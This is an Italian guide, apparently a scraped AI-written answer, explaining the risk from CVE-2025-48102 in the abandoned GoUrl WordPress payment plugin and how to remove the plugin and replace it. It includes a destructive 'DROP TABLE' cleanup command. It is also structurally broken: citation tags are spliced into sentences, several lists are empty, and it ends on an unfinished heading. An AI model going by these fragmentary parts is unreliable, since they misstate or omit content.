Disattivare un plugin disabilita semplicemente le sue funzionalità in WordPress: il codice del plugin non interagisce più con il tuo sito e le sue funzioni non vengono più eseguite. Tuttavia, tutti i file e i dati del plugin rimangono sul server a meno che tu non disinstalli completamente il plugin. Questa distinzione chiave è fondamentale per comprendere i potenziali rischi per la sicurezza. qodeinteractive+1
Presenza fisica del codice sul server: anche quando un plugin è disattivato, i suoi file continuano a essere conservati in una directory /wp-content/plugins/ sul tuo server. Se un plugin ha vulnerabilità note, un hacker può sfruttarle accedendo direttamente ai file del plugin . Ciò può verificarsi attraverso altre vulnerabilità del tuo sito, come una debole sicurezza del server o credenziali di amministratore compromesse. magnatechnology+3
Gli esperti di sicurezza di Dotwise sottolineano: “Il codice rimane accessibile. Anche quando il plugin è disattivato, i suoi file restano memorizzati sul tuo server. Se il plugin ha vulnerabilità note, un hacker può sfruttarle accedendo direttamente ai file del plugin. “
Attacchi mirati: i criminali informatici spesso scansionano i siti web alla ricerca di determinati plugin vulnerabili . Se un plugin vulnerabile esiste sul tuo server, anche se è disabilitato, può comunque essere attaccato da un malintenzionato. magnatechnology+1
Gli esperti di Qode Interactive avvertono: “Disattivare un plugin invece di cancellarlo è ottimo per la diagnostica e la risoluzione dei problemi, ma è sempre pensato solo per un uso a breve termine. Se vuoi che il tuo sito WordPress sia il più sicuro possibile contro gli hacker, dovresti eliminare tutti i plugin inutilizzati e i loro file. “
Plugin obsoleti: i plugin disattivati vengono spesso trascurati durante la manutenzione ordinaria di WordPress . Se un plugin non viene aggiornato per correggere le vulnerabilità di sicurezza, può diventare un anello debole nella sicurezza del tuo sito. Gli hacker sfruttano spesso software obsoleti e un plugin disattivato non fa eccezione. dotwise+1
Il team di Magna Technology osserva: “Uno dei problemi più critici dei plugin disattivati è la sicurezza. Anche se i plugin disattivati non vengono eseguiti, rimangono nella tua installazione WordPress e possono diventare una vulnerabilità se non vengono aggiornati regolarmente. Gli hacker sfruttano spesso plugin obsoleti per ottenere accesso ai siti web, anche se quei plugin sono inattivi . “
La natura specifica di CVE-2025-48102 è che il plugin GoUrl Bitcoin Payment Gateway non è più supportato dai suoi sviluppatori . Questo crea una situazione unica ed estremamente pericolosa per tutti gli utenti del plugin. patchstack+1
Posizione ufficiale di Patchstack: la pagina delle vulnerabilità di Patchstack afferma chiaramente: “Questo software è probabilmente abbandonato! Questo software è stato aggiornato l'ultima volta oltre un anno fa e probabilmente non riceverà ulteriori aggiornamenti o patch. Ti preghiamo di valutare urgentemente la sostituzione del software con un'alternativa.” patchstack
Avviso critico sulla disattivazione: Patchstack dichiara specificamente: “Si prega di notare che la disattivazione del software non elimina il rischio per la sicurezza a meno che non venga implementata una patch virtuale (vPatch).” patchstack
Raccomandazione degli esperti Wiz : gli esperti della piattaforma Wiz affermano senza mezzi termini: “Poiché non esiste una soluzione ufficiale e il software è considerato abbandonato, la misura di mitigazione raccomandata è rimuovere e sostituire il plugin con un'alternativa mantenuta attivamente .
Vulnerabilità persistente: senza il supporto degli sviluppatori, non verranno rilasciati aggiornamenti di sicurezza . Ciò significa che qualsiasi vulnerabilità scoperta, inclusa la CVE-2025-48102, rimarrà senza patch per sempre. wiz +1
Accumulo di rischi: nel corso del tempo , potrebbero essere scoperte ulteriori vulnerabilità che rimarranno anch'esse senza patch. Secondo le statistiche di Patchstack, ben 1.450 plugin sono stati rimossi dal repository WordPress.org nel 2024 a causa di vulnerabilità ad alta o media priorità.
Incompatibilità con le versioni future: I plugin abbandonati potrebbero diventare incompatibili con le versioni future di WordPress, PHP o altre dipendenze , creando ulteriori problemi di funzionalità e sicurezza. mainwp +1
Virtual Patching è una tecnica di sicurezza che blocca gli exploit noti prima che raggiungano il codice vulnerabile , senza apportare alcuna modifica all'applicazione stessa. wp-umbrella+2
Definizione OWASP: L'organizzazione OWASP definisce il virtual patching come “un livello di applicazione delle policy di sicurezza che impedisce lo sfruttamento di una vulnerabilità nota . “
Come funziona: I virtual patch analizzano le transazioni e intercettano gli attacchi in transito, così il traffico dannoso non raggiunge mai l'applicazione web . Di conseguenza, anche se il codice sorgente dell'applicazione non è stato modificato, i tentativi di sfruttamento falliscono.owasp+1
Specificità della vulnerabilità: A differenza dei firewall per applicazioni web (WAF) generici, che si basano su ampi modelli di rilevamento, i virtual patch vengono scritti come regole mirate che corrispondono a payload specifici . Se un plugin presenta una vulnerabilità di SQL injection o di cross-site scripting, un virtual patch può intercettare e bloccare l'esatta firma della richiesta che la sfrutta. wp-umbrella+1
Tecnologia Patchstack: Patchstack utilizza regole JSON specifiche per la vulnerabilità che possono includere varie istruzioni. Ad esempio, per l'SQL injection, che può essere ottenuta includendo un payload dannoso nel parametro POST id, un virtual patch può utilizzare un approccio basato su whitelist , in cui l'id può contenere solo un numero. patchstack+1
Distribuzione automatizzata: Quando una vulnerabilità viene scoperta e documentata con un identificativo CVE, i ricercatori di sicurezza—o piattaforme come Patchstack— verificano la vulnerabilità e documentano esattamente come funziona l'exploit . Questo diventa la base per un virtual patch, che può quindi essere distribuito automaticamente a tutti i siti protetti .
Vantaggi principali:
Limiti critici per CVE-2025-48102:
Nonostante tutti i vantaggi del virtual patching, non è una soluzione a lungo termine per il plugin GoUrl abbandonato . Patchstack avverte chiaramente che disattivare il software non elimina la minaccia per la sicurezza a meno che non venga distribuito un virtual patch . Tuttavia, fare affidamento esclusivamente su un virtual patch per una protezione continua contro software abbandonato è una strategia pericolosa , poiché:patchstack
Considerando tutti i fattori— la mancanza di una correzione ufficiale, lo stato di software abbandonato, l'inadeguatezza della disattivazione e la natura temporanea del virtual patching —gli esperti sono unanimi: l'unica soluzione efficace per CVE-2025-48102 è la rimozione completa di GoUrl .wiz plugin . +1
Consenso degli esperti:

Passaggio 1: crea un backup completo di Jetpack+1
Prima di rimuovere qualsiasi plugin , assicurati di creare un backup completo del tuo sito, inclusi file e database. Questo ti garantirà di poter ripristinare il sito se dovessero verificarsi problemi. Strumenti consigliati: liquidweb+1
Passaggio 2: disattiva il plugin tramite la kinsta+1 dashboard
Accedi alla dashboard di WordPress e vai su Plugin → Plugin installati . Trova GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership e fai clic su “Disattiva.” kinsta+1
Passaggio 3: rimuovi il plugin wpbeginner+1 da WordPress
Dopo la disattivazione, fai clic su “Elimina” sotto il nome del plugin. WordPress eliminerà i file del plugin dalla directory /wp-content/plugins/.jetpack+3.
Passaggio 4: pulisci il database dalle tabelle residue liquidweb+2
Un passaggio critico: Molti plugin WordPress creano tabelle proprie nel database che non vengono eliminate automaticamente alla disinstallazione del plugin. Queste “tabelle orfane” continuano a occupare spazio e possono contenere dati sensibili. youtubeonlinemediamasters+3
Metodi di pulizia del database:
A. Utilizzare plugin per pulire il database: nitropack+2
Advanced Database Cleaner è un plugin completo per la pulizia del database WordPress: wordpress+1
WP-Optimize è un popolare strumento di ottimizzazione: jetpack+2
Plugins Garbage Collector è un plugin specializzato per rilevare le tabelle orfane: YouTube
B. Pulizia manuale tramite phpMyAdmin: mehulgohil+2
Per utenti avanzati:
wp_gourl_*, wp_crypto_files, wp_crypto_payments, wp_crypto_membership, wp_crypto_products)wordpress+1Query SQL per eliminare tabelle specifiche: liquidweb
sql:DROP TABLE wp_gourl_tablename;
Sostituisci wp_gourl_tablename con il nome effettivo della tabella. Controlla sempre due volte che nessun altro plugin stia utilizzando la tabella.
Passaggio 5: verifica la presenza di file residui jetpack+1
Alcuni plugin potrebbero creare file al di fuori della directory dei plugin . Controlla la directory /wp-content/uploads/ per le cartelle associate a GoUrl (ad esempio, [ /wp-content/uploads/gourl/wordpress+2]) ed eliminale tramite FTP o il file manager del tuo hosting.
Passaggio 6: rimozione degli shortcode inutilizzati
Se gli shortcode di GoUrl sono stati utilizzati nei contenuti del tuo sito, diventeranno inattivi e verranno visualizzati come testo . Trovali e rimuovili manualmente da articoli e pagine.
Quando scegli un sostituto per GoUrl, dovresti considerare i seguenti fattori:
1. Supporto attivo e aggiornamenti regolari: wp-content+1
2. Una solida reputazione in termini di sicurezza: paymattic+1
3. Compatibilità tecnica: crocoblock+1

BTCPay Server è una soluzione self-hosted e open-source: instawp+2
Blockonomics è un gateway di pagamento decentralizzato: slashdot+2
CryptoPay (di BeycanPress) è un gateway di pagamento crypto completo: beycanpress+1
CoinGate è un processore di pagamenti blockchain affidabile: g2+2
MyCryptoCheckout è un plugin incentrato sulla privacy: instawp+2
ABC Crypto Checkout – Pagamenti Crypto Diretti: crocoblock+1
1. Scansione malware: solidwp+1
2. Verifica degli account amministratore: wordfence+1
3. Analisi dei log di accesso: wp-rocket+1
1. Controlla regolarmente i plugin installati: patchstack+2
2. Implementa la politica di gestione dei plugin: wp-eventmanager+1
3. Automatizza gli aggiornamenti di sicurezza: wp-eventmanager+1
Per CVE-2025-26541 (CodeSolz):